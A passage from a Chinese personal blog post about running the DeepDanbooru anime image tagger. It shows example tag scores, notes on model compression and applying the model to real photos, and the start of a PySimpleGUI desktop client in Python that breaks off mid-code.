&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;long_hair&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.974&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;solo&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.972&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;breasts&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.968&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;blonde_hair&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.932&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;blue_eyes&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.912&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;pantyhose&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.863&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;looking_at_viewer&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.854&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;full_body&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.836&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;smile&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.824&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;long_sleeves&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.789&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;cleavage&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.769&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;simple_background&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.767&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;white_background&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.734&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;large_breasts&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.710&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;wide_sleeves&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.696&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;standing&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.675&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;black_legwear&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.666&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;dress&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.654&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;closed_mouth&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.597&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;hand_up&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.595&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;hair_ribbon&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.574&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;white_footwear&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.534&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;bangs&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.505&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;我的结论是：够准了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;优化？&quot;&gt;优化？&lt;&#x2F;h2&gt;
&lt;p&gt;我之所以不想直接运行原版和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ONNX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版的代码，并且在自己的代码里尽量少依赖额外的库，是因为我想在我那性能低下的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上跑个类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;deepdanbooru.donmai.us&#x2F;&quot;&gt;https:&#x2F;&#x2F;deepdanbooru.donmai.us&#x2F;&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的服务。问了下专门研究模型压缩的同学，他说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TensorFlow
Lite（TF
Lite）可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;int8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代替&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fp32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;从而减少内存消耗。TF
Lite&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还可以剪枝移除冗余权重——通常可以减掉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;50%——不过剪枝后要重新训练。不久的将来我也许会试一试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TF
Lite&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ONNX，目前还是先在笔记本上跑原版吧。&lt;&#x2F;p&gt;
&lt;p&gt;我那位同学还告诉我之后可以通过迁移学习把用于二次元图片的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作用在真人图片上。我试了下直接用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;鉴定真人图片，发现虽然标签少了，但准确率仍然很高。想必这是因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Danbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有不少用拟真度很高的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模型渲染的图片。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;图形用户界面&quot;&gt;图形用户界面&lt;&#x2F;h2&gt;
&lt;p&gt;我最近想要一个简单又理想的文件管理器，正好先给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;做个界面来试试手。我选择的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GUI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PySimpleGUI：我是几年前看到同学在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上给它点星时注意到这个库的，不过因为没有写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GUI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的需求所以没用过。这次看了看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PySimpleGUI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的文档和视频，感觉这位有点像搞传销的传教士——不是贬义啊，只是用来形容他真的特别想帮你学会他的库。&lt;&#x2F;p&gt;
&lt;p&gt;有兴趣的朋友可以花十几分钟看一看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=9bfJ0Wy8YIU&quot;&gt;Mike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;介绍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PySimpleGUI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生态的视频&lt;&#x2F;a&gt;。为了帮助用户使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PySimpleGUI，他写了好多周边程序：包含所有功能的示例、浏览所有文档的程序、在报错时自动打开编辑器标注错误的帮手、帮助不会用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的人提交&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;issue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的应用、334&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个演示代码等等。看到作者这么热情，我已经急不可耐想要尝试下了。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;实际使用起来，这个库确实不辱&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;simple&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之名——看看下面不用学也能懂的代码就知道了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;代码里唯一不好理解的地方是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sg.FileBrowse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;隐式地把文件路径输入到它前面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sg.Input&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我挺喜欢用二维数组描述布局和主动捕获事件、更新组件的方式。唯一差评的点是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;PySimpleGUI&#x2F;PySimpleGUI&#x2F;issues&#x2F;4117&quot;&gt;表格宽度不能动态控制&lt;&#x2F;a&gt;。不过我对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PySimpleGUI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的期望是赶紧让我写好文件管理器开始整理我的数字收藏，所以精雕细琢界面什么的还是往后稍稍。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2022-11-17 232000-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2022-11-17 232000-fs8.png&quot;
	alt=&quot;用PySimpleGUI写的图形化客户端&quot;
	height=&quot;881&quot;
	width=&quot;791&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; PySimpleGUI&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; sg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; PIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; Image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ImageTk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; UnidentifiedImageError&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; path&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; ddbr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; load_model_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; prepare_image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; evaluate&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;image_area_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;800&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 800&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;layout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-FILENAME-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; enable_events&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;FileBrowse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Select an image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    ],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-IMAGE-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;image_area_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Table&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-TABLE-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            visible&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            headings&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=[(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;eyebrows_visible_through_hair&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;84%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        ),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    ],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;DeepDanbooru Client&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; layout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; load_model_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;while True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;WIN_CLOSED&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    elif&lt;&#x2F;span&gt;&lt;span&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-FILENAME-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        filename&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-FILENAME-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;isfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;filename&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
